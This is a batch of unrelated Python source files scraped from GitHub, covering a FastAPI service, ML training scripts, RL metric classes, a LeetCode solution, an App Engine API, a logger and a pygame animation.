{"seq_id":"25637715250","text":"import logging\n\nimport aioredis\nimport uvicorn as uvicorn\nfrom elasticsearch import AsyncElasticsearch\nfrom fastapi import FastAPI\nfrom fastapi.responses import ORJSONResponse\n\nfrom api.v1 import films, genres, persons\nfrom core.config import get_settings\nfrom core.logger import LOGGING\nfrom db import elastic\nfrom db import redis\n\nconf = get_settings()\n\napp = FastAPI(\n    title=conf.PROJECT_NAME,\n    docs_url='/api/openapi',\n    openapi_url='/api/openapi.json',\n    default_response_class=ORJSONResponse,\n)\n\n\n@app.on_event('startup')\nasync def startup():\n    \"\"\"Метод, выполняющий инициализацию компонентов приложения при старте.\"\"\"\n    redis.cache = aioredis.from_url(\n        f\"redis://{conf.CACHE_HOST}:{conf.CACHE_PORT}\", encoding=\"utf-8\", decode_responses=True\n    )\n    elastic.es = AsyncElasticsearch(hosts=[f'http://{conf.ELASTIC_HOST}:{conf.ELASTIC_PORT}'])\n\n\n@app.on_event('shutdown')\nasync def shutdown():\n    \"\"\"Метод, выполняющий утилизацию компонентов приложения после завершения работы  приложения.\"\"\"\n    await redis.cache.close()\n    await elastic.es.close()\n\n\napp.include_router(films.router, prefix='/api/v1/films', tags=['films'])\napp.include_router(genres.router, prefix='/api/v1/genres', tags=['genres'])\napp.include_router(persons.router, prefix='/api/v1/persons', tags=['persons'])\n\nif __name__ == '__main__':\n    uvicorn.run(\n        'main:app',\n        host='0.0.0.0',\n        port=8000,\n        log_config=LOGGING,\n        log_level=logging.DEBUG,\n    )\n","repo_name":"lizatish/Auth_sprint_1","sub_path":"fastapi-solution/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33239474924","text":"# 将序列信息整理到excel表格中\r\nimport pandas as pd\r\nimport os\r\nimport re\r\n\r\n\r\n# 获取路径下所有文件名\r\ndef GetAllFiles(targetDir):\r\n    listFiles = os.listdir(targetDir)\r\n    return listFiles\r\n\r\n\r\ndic = {'ID': [],\r\n       'capsid type': [],\r\n       'capsid subtype': [],\r\n       'polymerase type': [],\r\n       'polymerase subtype': [],\r\n       'location': [],\r\n       'collection date': []}\r\n\r\nFolderList = GetAllFiles('./')\r\nfor Folder in FolderList:\r\n    if '.' not in Folder:\r\n        CapsidSubtype = Folder\r\n        SeqList = GetAllFiles('./' + Folder)\r\n        for seq in SeqList:\r\n            SeqID = seq.split('-')[0]\r\n            CapsidType = seq.split('-')[1].split('[')[0]\r\n            PolymeraseType = seq.split('-')[1].split('[')[1].split(']')[0]\r\n            PolymeraseSubtype = ''\r\n            location = seq.split('-')[2]\r\n            CollectionDate = seq.split('-')[3].replace('.fasta', '')\r\n            dic['ID'].append(SeqID)\r\n            dic['capsid type'].append(CapsidType)\r\n            dic['capsid subtype'].append(CapsidSubtype)\r\n            dic['polymerase type'].append(PolymeraseType)\r\n            dic['polymerase subtype'].append(PolymeraseSubtype)\r\n            dic['location'].append(location)\r\n            dic['collection date'].append(CollectionDate)\r\n\r\ndf = pd.DataFrame(dic)\r\ndf.to_excel('info.xlsx')\r\n","repo_name":"MaoyuanYang/comparative-analysis-norovirus-variants","sub_path":"序列信息汇总.py","file_name":"序列信息汇总.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72129720679","text":"# simple script to train a model\r\nimport torch\r\nimport torch.nn.functional as F\r\n\r\ndef train_model(model, params, train_loader):\r\n  model.train()\r\n  # negative log likelihood loss \r\n  # https://pytorch.org/docs/stable/generated/torch.nn.functional.nll_loss.html\r\n  loss_function = F.nll_loss\r\n  # optimizer: standard SGD\r\n  optimizer = torch.optim.SGD(model.parameters(), lr=params.lr)\r\n  for epoch in range(params.epochs):\r\n    # monitor training loss\r\n    train_loss = 0.0\r\n    for data, target in train_loader:\r\n        optimizer.zero_grad()\r\n        # apply model to data & calculate loss\r\n        output = model(data)\r\n        loss = loss_function(output, target)\r\n        # calculate gradients & perform optim.step\r\n        loss.backward()\r\n        optimizer.step()\r\n        train_loss += loss.item()*data.size(0)\r\n    # print training statistics \r\n    # calculate average loss\r\n    train_loss = train_loss/len(train_loader.dataset)\r\n\r\n    print('Epoch: {} \\tTraining Loss: {:.4f}'.format(\r\n        epoch+1, \r\n        train_loss\r\n        ))\r\n  # operates on model parameters in place returns nothing","repo_name":"benearnthof/open_science_mnist","sub_path":"scripts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5330192229","text":"# Crea el zip con las traducciones los números del 1 al 5 en español, portugués e inglés (en el mismo orden), y convierte el objeto generado en una lista almacenada en la variable numeros:\n# uno / um / one\n# dos / dois / two\n# tres / três / three\n# cuatro / quatro / four\n# cinco / cinco / five\n# El resultado deberá seguir la estructura:\n# [('uno', 'um', 'one'), ('dos', 'dois', 'two'), ... ]\n\nespañol = [\"uno\", \"dos\", \"tres\", \"cuatro\", \"cinco\"]\nportugues = [\"um\", \"dois\", \"três\", \"quatro\", \"cinco\"]\ningles = [\"one\", \"two\", \"three\", \"four\", \"five\"]\n\nnumeros = list(zip(español, portugues, ingles))\n","repo_name":"jonaverd/UdemyProject_GQ","sub_path":"Practises/Zip3.py","file_name":"Zip3.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42543283773","text":"import torch\n\nimport alf\nimport alf.utils.data_buffer as db\n\nfrom . import metric\n\n\nclass MetricBuffer(torch.nn.Module):\n    \"\"\"A metric buffer for computing average metric values. The buffer is assumed\n    to store only scalar values.\"\"\"\n\n    def __init__(self, max_len, dtype):\n        \"\"\"\n        Args:\n            max_len (int): maximum length of the buffer\n            dtype (torch.dtype): dtype of the content of the buffer\n        \"\"\"\n        super().__init__()\n        self._dtype = dtype\n        self._buf = db.DataBuffer(\n            data_spec=alf.tensor_specs.TensorSpec((), dtype=dtype),\n            capacity=max_len,\n            device='cpu')\n\n    def append(self, value):\n        \"\"\"Append multiple values to the buffer.\n\n        Args:\n            value (Tensor): a batch of scalars with the shape :math:`[B]`.\n        \"\"\"\n        self._buf.add_batch(value)\n\n    def mean(self):\n        if self._buf.current_size == 0:  # avoid nan\n            return torch.tensor(0, dtype=self._dtype, device='cpu')\n        return self._buf.get_all()[:self._buf.current_size].mean()\n\n    def clear(self):\n        return self._buf.clear()\n\n\nclass EnvironmentSteps(metric.StepMetric):\n    \"\"\"Counts the number of steps taken in the environment after FrameSkip.\n\n    If Frames are skipped by any of the environment wrappers, a separate metric\n    AverageEnvInfoMetric['num_env_frames'] will report the actual frame count including\n    skipped ones.\n    \"\"\"\n\n    def __init__(self,\n                 name='EnvironmentSteps',\n                 prefix='Metrics',\n                 dtype=torch.int64):\n        super().__init__(name=name, dtype=dtype, prefix=prefix)\n        self.register_buffer('_environment_steps', torch.zeros((),\n                                                               dtype=dtype))\n\n    def call(self, time_step):\n        \"\"\"Increase the number of environment_steps according to ``time_step``.\n        Step count is not increased on ``time_step.is_first()`` since that step\n        is not part of any episode.\n\n        Args:\n            time_step (alf.data_structures.TimeStep): batched tensor\n        Returns:\n            The arguments, for easy chaining.\n        \"\"\"\n        steps = (torch.logical_not(time_step.is_first())).type(self._dtype)\n        num_steps = torch.sum(steps)\n        self._environment_steps.add_(num_steps)\n        return time_step\n\n    def result(self):\n        return self._environment_steps\n\n    def reset(self):\n        self._environment_steps.fill_(0)\n\n\nclass NumberOfEpisodes(metric.StepMetric):\n    \"\"\"Counts the number of episodes in the environment.\"\"\"\n\n    def __init__(self,\n                 name='NumberOfEpisodes',\n                 prefix='Metrics',\n                 dtype=torch.int64):\n        super(NumberOfEpisodes, self).__init__(\n            name=name, dtype=dtype, prefix=prefix)\n        self.register_buffer('_number_episodes', torch.zeros((), dtype=dtype))\n\n    def call(self, time_step):\n        \"\"\"Increase the number of number_episodes according to ``time_step``.\n        It would increase for all ``time_step.is_last()``.\n\n        Args:\n            time_step (alf.data_structures.TimeStep): batched tensor\n        Returns:\n            The arguments, for easy chaining.\n        \"\"\"\n        episodes = time_step.is_last().type(self._dtype)\n        num_episodes = torch.sum(episodes)\n        self._number_episodes.add_(num_episodes)\n        return time_step\n\n    def result(self):\n        return self._number_episodes\n\n    def reset(self):\n        self._number_episodes.fill_(0)\n\n\nclass AverageEpisodicSumMetric(metric.StepMetric):\n    \"\"\"A base metric to sum up quantities over an episode. It supports accumulating\n    a nest of scalar values.\n    \"\"\"\n\n    def __init__(self,\n                 name=\"AverageEpisodicSumMetric\",\n                 prefix='Metrics',\n                 dtype=torch.float32,\n                 batch_size=1,\n                 buffer_size=10,\n                 example_metric_value=None):\n        \"\"\"\n        Args:\n            name (str):\n            prefix (str): a prefix indicating the category of the metric\n            dtype (torch.dtype): dtype of metric values. Should be floating types\n                in order to be averaged.\n            batch_size (int): the number of metric values generated in parallel\n            buffer_size (int): number of episodes the metric value will be averaged\n                across\n            example_metric_value (nest): an example of metric value to be summarized;\n                if ``None``, a zero scalar is used.\n        \"\"\"\n        super(AverageEpisodicSumMetric, self).__init__(\n            name=name, dtype=dtype, prefix=prefix)\n        if example_metric_value is None:\n            example_metric_value = torch.zeros((), device='cpu')\n        self._batch_size = batch_size\n        self._buffer_size = buffer_size\n        self._initialize(example_metric_value)\n\n    def _extract_metric_values(self, time_step):\n        \"\"\"Extract metrics from the time step. The return can be a nest.\"\"\"\n        raise NotImplementedError()\n\n    def _initialize(self, example_metric_value):\n        counter = [0]\n\n        def _init_buf(val):\n            return MetricBuffer(max_len=self._buffer_size, dtype=self._dtype)\n\n        def _init_acc(val):\n            accumulator = torch.zeros(\n                self._batch_size, dtype=self._dtype, device='cpu')\n            self.register_buffer('_accumulator%d' % counter[0], accumulator)\n            counter[0] += 1\n            return accumulator\n\n        self._buffer = alf.nest.map_structure(_init_buf, example_metric_value)\n        self._accumulator = alf.nest.map_structure(_init_acc,\n                                                   example_metric_value)\n\n    def call(self, time_step):\n        \"\"\"Accumulate values from the time step. The values are defined by\n        subclasses' ``_extract_metric_values()``. It will ignore the values of\n        first time steps.\n\n        Args:\n            time_step (alf.data_structures.TimeStep): batched tensor\n        Returns:\n            The arguments, for easy chaining.\n        \"\"\"\n\n        values = self._extract_metric_values(time_step)\n\n        assert all(\n            alf.nest.flatten(\n                alf.nest.map_structure(\n                    lambda val: list(val.shape) == [self._batch_size],\n                    values))), (\"Value shape is not correct \"\n                                \"(only scalar values are supported).\")\n\n        is_first = time_step.is_first()\n\n        def _update_accumulator_(acc, val):\n            \"\"\"In-place update of the accumulators.\"\"\"\n            # Zero out batch indices where a new episode is starting.\n            # Update with new values; Ignores first step whose reward comes from\n            # the boundary transition of the last step from the previous episode.\n            acc[:] = torch.where(is_first, torch.zeros_like(acc),\n                                 acc + val.to(self._dtype))\n\n        alf.nest.map_structure(_update_accumulator_, self._accumulator, values)\n\n        # Add final accumulated value to buffer.\n        last_episode_indices = torch.where(time_step.is_last())[0]\n\n        if len(last_episode_indices) > 0:\n            alf.nest.map_structure(\n                lambda buf, acc: buf.append(acc[last_episode_indices]),\n                self._buffer, self._accumulator)\n\n        return time_step\n\n    def result(self):\n        return alf.nest.map_structure(lambda buf: buf.mean(), self._buffer)\n\n    def reset(self):\n        alf.nest.map_structure(lambda buf: buf.clear(), self._buffer)\n        alf.nest.map_structure(lambda acc: acc.fill_(0), self._accumulator)\n\n\nclass AverageReturnMetric(AverageEpisodicSumMetric):\n    \"\"\"Metric for computing the average return.\"\"\"\n\n    def __init__(self,\n                 name='AverageReturn',\n                 prefix='Metrics',\n                 reward_shape=(),\n                 dtype=torch.float32,\n                 batch_size=1,\n                 buffer_size=10):\n        if reward_shape == ():\n            example_metric_value = torch.zeros((), device='cpu')\n        else:\n            example_metric_value = torch.zeros(\n                reward_shape, device='cpu').reshape(-1)\n            example_metric_value = list(example_metric_value)\n\n        super(AverageReturnMetric, self).__init__(\n            name=name,\n            dtype=dtype,\n            prefix=prefix,\n            batch_size=batch_size,\n            buffer_size=buffer_size,\n            example_metric_value=example_metric_value)\n\n    def _extract_metric_values(self, time_step):\n        \"\"\"Accumulate immediate rewards to get episodic return.\"\"\"\n        ndim = time_step.step_type.ndim\n        if time_step.reward.ndim == ndim:\n            return time_step.reward\n        else:\n            reward = time_step.reward.reshape(*time_step.step_type.shape, -1)\n            return [reward[..., i] for i in range(reward.shape[-1])]\n\n\nclass AverageEpisodeLengthMetric(AverageEpisodicSumMetric):\n    \"\"\"Metric for computing the average episode length.\"\"\"\n\n    def __init__(self,\n                 name='AverageEpisodeLength',\n                 prefix='Metrics',\n                 dtype=torch.float32,\n                 batch_size=1,\n                 buffer_size=10):\n        super(AverageEpisodeLengthMetric, self).__init__(\n            name=name,\n            dtype=dtype,\n            prefix=prefix,\n            batch_size=batch_size,\n            buffer_size=buffer_size)\n\n    def _extract_metric_values(self, time_step):\n        \"\"\"Return a constant of 1 each time, except for ``time_step.is_first()``.\n        The first time step is the boundary step and needs to be ignored, different\n        from ``tf_agents``\n        \"\"\"\n        return torch.where(time_step.is_first(),\n                           torch.zeros_like(time_step.step_type),\n                           torch.ones_like(time_step.step_type))\n\n\nclass AverageEnvInfoMetric(AverageEpisodicSumMetric):\n    \"\"\"Metric for computing average quantities contained in the environment info.\n    An example of env info (which can be a nest) has to be provided when constructing\n    an instance in order to initialize the accumulator and buffer with the same\n    nested structure.\n    \"\"\"\n\n    def __init__(self,\n                 example_env_info,\n                 name=\"AverageEnvInfoMetric\",\n                 prefix=\"Metrics\",\n                 dtype=torch.float32,\n                 batch_size=1,\n                 buffer_size=10):\n        super(AverageEnvInfoMetric, self).__init__(\n            name=name,\n            dtype=dtype,\n            prefix=prefix,\n            batch_size=batch_size,\n            buffer_size=buffer_size,\n            example_metric_value=example_env_info)\n\n    def _extract_metric_values(self, time_step):\n        return time_step.env_info\n","repo_name":"horizonrobotics-sailor/alf","sub_path":"alf/metrics/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":10779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"27225990780","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':\n        temp = root\n        \n        if p.val == root.val: return p\n        if q.val == root.val: return q\n        \n        while temp:\n            if p.val > temp.val and q.val > temp.val:\n                temp = temp.right\n            elif q.val < temp.val and p.val < temp.val:\n                temp = temp.left\n            else:\n                return temp\n\n\n\n  \n\n            ","repo_name":"mariam-hassan2/Leetcode","sub_path":"0235-lowest-common-ancestor-of-a-binary-search-tree/0235-lowest-common-ancestor-of-a-binary-search-tree.py","file_name":"0235-lowest-common-ancestor-of-a-binary-search-tree.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42774473133","text":"import webapp2\nfrom google.appengine.ext import ndb\nimport db_models\nimport json\n\n#Methods that specifically handle POST or GET or PUT or DELETE\n#In a move to be RESTful only give back what user provides\nclass Mod(webapp2.RequestHandler):\n\tdef post(self):\n\t\t# creates a Mod entity\n\t\t# nick - required nickname\n\t\t# email - email address\n\t\t# name - real name\n\t\t\n\t\t#Client has to ask for application JSON representation in the accept of the header.\n\t\tif 'application/json' not in self.request.accept:\n\t\t\tself.response.status = 406\n\t\t\tself.response.status_message = 'Not Acceptable, API only supports application/json MIME type'\n\t\t\treturn\n\n\t\tnew_mod = db_models.Mod()\n\t\tnick = self.request.get('nick', default_value = None)\n\t\temail = self.request.get('email', default_value = None)\n\t\tname = self.request.get('name', default_value = None)\n\t\tif nick:\n\t\t\tnew_mod.nick = nick\n\t\telse:\n\t\t\tself.response.status = 400\n\t\t\tself.response.status_message = 'Invalid request. Nickname is required'\n\t\tif email:\n\t\t\tnew_mod.email = email\n\t\tif name:\n\t\t\tnew_mod.name = name\n\t\t#Email and name are optional\n\t\t#Save in database and return the thing we made.\n\t\tkey = new_mod.put()\n\t\tout = new_mod.to_dict()  #Returns the properties values in dictionary form\n\t\tself.response.write(json.dumps(out))\n\t\t\n\t\t#kwargs = keywordarguments\n\tdef get(self, **kwargs):\n\t\tif 'application/json' not in self.request.accept:\n\t\t\tself.response.status = 406\n\t\t\tself.response.status_message = 'Not Acceptable, API only supports application/json MIME type'\n\t\t\treturn\n\n\t\t\t#Were looking for id in keyword arguments. We make a key for the mod by passing it a type.\n\t\t\t#From the key we get the mod and turn it into a dictionary. We then dump that to a string and \n\t\t\t#write that back as a response.\n\t\tif 'id' in kwargs:\n\t\t\tout = ndb.Key(db_models.Mod, int(kwargs['id'])).get().to_dict()\n\t\t\tself.response.write(json.dumps(out))\n\n\t\t\t#If there isnt an 'id' in the keyword arguments, we return all the IDs.\n\t\telse:\n\t\t\tq = db_models.Mod.query()\n\t\t\tkeys = q.fetch(keys_only = True)\n\t\t\tresults = {'keys': [x.id() for x in keys]}\n\t\t\tself.response.write(json.dumps(results))\n\t\t\t\nclass ModSearch(webapp2.RequestHandler):\n\t# should be get not post\n\tdef post(self):\n\t\t# search for moderators\n\t\t# POST body variables:\n\t\t# nick - String nickname\n\t\t# email - String email address\n\t\t\n\t\tif 'application/json' not in self.request.accept:\n\t\t\tself.response.status = 406\n\t\t\tself.response.status_message = 'Not Acceptable, API only supports application/json MIME type'\n\t\t\treturn\n\t\tq = db_models.Mod.query()\n\t\tif self.request.get('nick', None):\n\t\t\tq = q.filter(db_models.Mod.nick == self.request.get('nick'))\n\t\tif self.request.get('email', None):\n\t\t\tq = q.filter(db_models.Mod.email == self.request.get('email'))\n\t\tkeys = q.fetch(keys_only = True)\n\t\tresults = {'keys': [x.id() for x in keys]}\n\t\tself.response.write(json.dumps(results))","repo_name":"Vladis466/Homework","sub_path":"CS496/CS496/OldStuffOCD/apidemo/api-demo/mod.py","file_name":"mod.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22692095313","text":"import torch\nfrom torch import nn, optim\nfrom torch.autograd import Variable\nimport AENet\nimport argparse\nimport utils as utils\nimport visualize\nimport numpy as np\nimport sys\n\ntorch.manual_seed(1)\n\n# parse arguments\ndef setup_args():\n\n    options = argparse.ArgumentParser()\n\n    options.add_argument('-sf', action=\"store\", dest=\"save_file\", default = \"num_lamb_0.001\")\n    options.add_argument('-pt', action=\"store\", dest=\"pretrained_file\", default=None)\n    options.add_argument('-bs', action=\"store\", dest=\"batch_size\", default = 128, type = int)\n    options.add_argument('-env', action=\"store\", dest=\"env\", default=\"VAE_MNIST_USPS\")\n\n    options.add_argument('-iter', action=\"store\", dest=\"max_iter\", default = 200, type = int)\n    options.add_argument('-lr', action=\"store\", dest=\"lr\", default=1e-3, type = float)\n    options.add_argument('-nz', action=\"store\", dest=\"nz\", default=20, type = int)\n    options.add_argument('-lamb', action=\"store\", dest=\"lamb\", default=0.001, type = float)\n\n    return options.parse_args()\n\nargs = setup_args()\nprint(args)\nsys.stdout.flush()\n\n# retrieve dataloaders\ntrain_loader, test_loader = utils.setup_data_loaders(args.batch_size)\nprint('Data loaded')\n\nmodel = AENet.VAE(nc=1, latent_size=args.nz)\nif args.pretrained_file is not None:\n    model.load_state_dict(torch.load(args.pretrained_file))\n    print(\"Pre-trained model loaded\")\n    sys.stdout.flush()\n\nif torch.cuda.is_available():\n    print('Using GPU')\n    model.cuda()\n\noptimizer = optim.Adam([\n    {'params': model.parameters()}],\n    lr = args.lr)\n\ndef loss_function(recon_x, x, mu, logvar, latents):\n    MSE = nn.MSELoss()\n    lloss = MSE(recon_x,x)\n    if args.lamb>0:\n        KL_loss = -0.5*torch.sum(1 + logvar - mu.pow(2) - logvar.exp())\n        lloss = lloss + args.lamb*KL_loss\n    return lloss\n\ndef train(epoch):\n    model.train()\n    train_loss = 0\n    for batch_idx, (inputs, _) in enumerate(train_loader):\n\n        inputs = Variable(inputs)\n        if torch.cuda.is_available():\n            inputs = inputs.cuda()\n\n        optimizer.zero_grad()\n        recon_inputs, latents, mu, logvar = model(inputs)\n\n        loss = loss_function(recon_inputs, inputs, mu, logvar, latents)\n        train_loss += loss.data[0]\n\n        loss.backward()\n        optimizer.step()\n\n    print('Epoch: {} Average loss: {:.15f}'.format(epoch, train_loss / len(train_loader.dataset)))\n\ndef test(epoch):\n    model.eval()\n    test_loss = 0\n    for i, (inputs, _) in enumerate(test_loader):\n\n        inputs = Variable(inputs)\n        if torch.cuda.is_available():\n            inputs = inputs.cuda()\n\n        recon_inputs, latents, mu, logvar = model(inputs)\n\n        loss = loss_function(recon_inputs, inputs, mu, logvar, latents)\n        test_loss += loss.data[0]\n\n    test_loss /= len(test_loader.dataset)\n    print('Test set loss: {:.15f}'.format(test_loss))\n    return test_loss\n\n\ndef save(epoch):\n    torch.save(model.cpu().state_dict(), args.save_file+'_'+str(epoch)+\".pth\")\n    if torch.cuda.is_available():\n        model.cuda()\n\ndef generate_image(epoch):\n\n    z = torch.normal(torch.zeros(args.batch_size, args.nz), 1)\n\n    if torch.cuda.is_available():\n        z = z.cuda()\n\n    z = Variable(z)\n\n    samples = model.generate(z)\n    visualize.visualize_samples(\"Generated\", samples.cpu().data, args.env)\n\n\n    for inputs, _ in train_loader:\n        inputs = Variable(inputs)\n        if torch.cuda.is_available():\n            inputs = inputs.cuda()\n\n        recon_inputs, _, _, _ = model(inputs)\n\n        visualize.visualize_samples(\"Train \"+str(epoch)+\" inputs\", inputs.cpu().data, args.env)\n        visualize.visualize_samples(\"Train \"+str(epoch)+\" recon\", recon_inputs.cpu().data, args.env)\n        break\n\n    for inputs, _ in test_loader:\n        inputs = Variable(inputs)\n        if torch.cuda.is_available():\n            inputs = inputs.cuda()\n\n        recon_inputs, _, _, _ = model(inputs)\n\n        visualize.visualize_samples(\"Test \"+str(epoch)+\" inputs\", inputs.cpu().data, args.env)\n        visualize.visualize_samples(\"Test \"+str(epoch)+\" recon\", recon_inputs.cpu().data, args.env)\n        break\n\n# main training loop\nvisualize.reset(args.env)\ngenerate_image(0)\nsave(0)\n\nfor epoch in range(args.max_iter):\n    train(epoch)\n    _ = test(epoch)\n\n    if epoch % 10 == 0:\n        generate_image(epoch)\n        save(epoch)\n","repo_name":"uhlerlab/geneexpression","sub_path":"code/mnist_usps_AE/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"74636881960","text":"import logging as lg\nimport  logging , platform\nimport socket\n\nclass HostnameFilter(logging.Filter):\n    hostname = platform.node()\n\n    def filter(self, record):\n        record.hostname = HostnameFilter.hostname\n        return True\n\nclass Logger:\n    def __init__(self):\n        pass\n\n    def log(self, from_file, log_type, log_message):\n\n        hostname = socket.gethostname()\n        IPAddr = socket.gethostbyname(hostname)\n        lg.basicConfig(filename=\"Log_Files/main.log\", level=lg.INFO,format='{} - {} - %(asctime)s - %(levelname)s -%(name)s -  %(message)s'.format(hostname,IPAddr),datefmt='%d-%b-%y %H:%M:%S')\n        logger = lg.getLogger(from_file)\n\n        if log_type == \"INFO\":\n            logger.info( log_message + \"\\n\")\n        elif log_type == \"ERROR\":\n            logger.error( log_message + \"\\n\")","repo_name":"BharadwajEdera/AutoML_AWS_Deployment","sub_path":"Logging/Logger.py","file_name":"Logger.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"178506054","text":"import pygame\r\nimport sys\r\nimport speech_recognition as sr\r\n#sys gives us access to some  system commands\r\n\r\nclass Player(pygame.sprite.Sprite):\r\n    def __init__(self, posx, posy):\r\n        super().__init__()\r\n        self.sprites = []\r\n        self.sprites.append(pygame.image.load(\"a-11.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-a.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-b.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-c.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-d.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-e.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-f.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-g.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-h.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-i.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-j.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-k.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-i.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-m.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-n.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-o.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-p.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-q.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-r.png\"))\r\n        self.sprites.append(pygame.image.load(\"a-s.png\"))\r\n        self.current_sprite = 0\r\n        self.image = self.sprites[self.current_sprite]\r\n        self.rect = self.image.get_rect()\r\n        self.rect.topleft = [posx, posy]\r\n\r\n\r\n    def update(self):\r\n        self.current_sprite += 0.01\r\n        if int(self.current_sprite) >= len(self.sprites):\r\n            self.current_sprite = 0\r\n\r\n        self.image = self.sprites[int(self.current_sprite)]\r\n\r\n    # we now have an image and then we need to draw rect around it\r\n    # self.image= pygame.Surface([width,height]\r\n    # self.image.fill(color)\r\n    # self.rect = self.image.get_rect()\r\n\r\n\r\n# till now our game has only one state\r\n\r\nclass GameState:\r\n    x = 150\r\n    y = 150\r\n    w=10\r\n    l=10\r\n    def __init__(self):\r\n        self.state = 'intro'\r\n\r\n    def ons(self):\r\n        screen.fill((0, 0, 0))\r\n        cross_group.draw(screen)\r\n        cross_group.update()\r\n\r\n    def intro(self):\r\n        #screen.fill((0, 0, 0))\r\n        #cross_group.draw(screen)\r\n        #cross_group.update()\r\n        self.ons()\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                sys.exit()\r\n            if event.type == pygame.MOUSEBUTTONDOWN:\r\n                # Drawing\r\n                cross.rect.left -= 520\r\n                print(cross)\r\n            if event.type == pygame.MOUSEBUTTONUP:\r\n                danb_sound.play()\r\n                self.state = 's2t'\r\n            if event.type == pygame.KEYDOWN:\r\n                self.snd()\r\n        pygame.display.flip()\r\n\r\n    def snd(self):\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                sys.exit()\r\n        danb_sound.stop()\r\n        self.ons()\r\n        #cross.rect.right += 520\r\n        # to make the display Surface actually appear on the user’s monitor.\r\n        cross_group.update()\r\n\r\n    def s2t(self):\r\n        #gameDisplay.blit(gameDisplay, (0, 0))\r\n        sound = \"Driving-English-Conversation-Sample (online-audio-converter.com).wav\"\r\n        black = pygame.color.Color('#000000')\r\n        white = pygame.color.Color('#ffffff')\r\n        font = pygame.font.Font(None, 40)\r\n        pygame.draw.rect(screen, white, (0, 0, self.w, self.l))\r\n        text = font.render(\"hello world hello world hello jkglblguk hel hello world hello jkglblguk hel hello world hello jkglblguk helhello world hello jkglblguk hello world hello world\", False, black)\r\n        done = False\r\n        while not done:\r\n            screen.fill(white)\r\n            screen.blit(text, (self.x, self.y))\r\n            pygame.display.flip()\r\n            for event in pygame.event.get():\r\n                if event.type == pygame.QUIT:\r\n                    done = True\r\n        pygame.quit()\r\n\r\n        # we put our game into a method of this class\r\n\r\n        # a method to organize which state to work\r\n\r\n    def state_manager(self):\r\n        if self.state == 'intro':\r\n            self.intro()\r\n        # if self.state == 'main_game':\r\n        # self.main_game()\r\n        if self.state == 's2t':\r\n            self.s2t()\r\n\r\n            # text = r.recognize_google(audio)\r\n            # print(text)\r\n\r\n            # message_display(text)\r\n# console setup\r\npygame.init()\r\n\r\n# creating an object from the class\r\ngame_state = GameState()\r\ndanb_sound = pygame.mixer.Sound(\"Driving-English-Conversation-Sample (online-audio-converter.com).wav\")\r\n#gameDisplay = pygame.display.set_mode((100, 100))\r\n\r\nwidth = 1200\r\nlength = 900\r\nwindow_color = (0, 10, 50)\r\n\r\n# build the window\r\nscreen = pygame.display.set_mode((width, length))  # width and height\r\npygame.display.set_caption(\"Danbo\")\r\npygame.draw.rect(screen, window_color, (0, 0, 1000, 1000))\r\n\r\n\r\n\r\n# to load an image and it wont be shown bec the background image is floating so we need to put this image in the\r\n# background of thr screen image\r\n# background = pygame.image.load(\"download.jpg\")\r\n\r\n# creating an object from the class\r\ncross = Player(0, 0)\r\n\r\n# it is a clock that calculates at what time\r\nclock = pygame.time.Clock()\r\n\r\ncross_group = pygame.sprite.Group()\r\ncross_group.add(cross)\r\n# gameDisplay = pygame.display.set_mode((500,500))\r\n# sound1=pygame.mixer.Sound(\"sounds_bullet.wav\")\r\n# i want to switch between the states\r\n\r\nwhile 1:\r\n    game_state.state_manager()\r\n    #it is the rate of each frame\r\n    #this means that we are going to run this while loop 60 times each second\r\n    clock.tick(70)\r\n\r\n\r\n\r\n","repo_name":"nancyosama/danbo-pr-robot","sub_path":"face(new).py","file_name":"face(new).py","file_ext":"py","file_size_in_byte":5866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
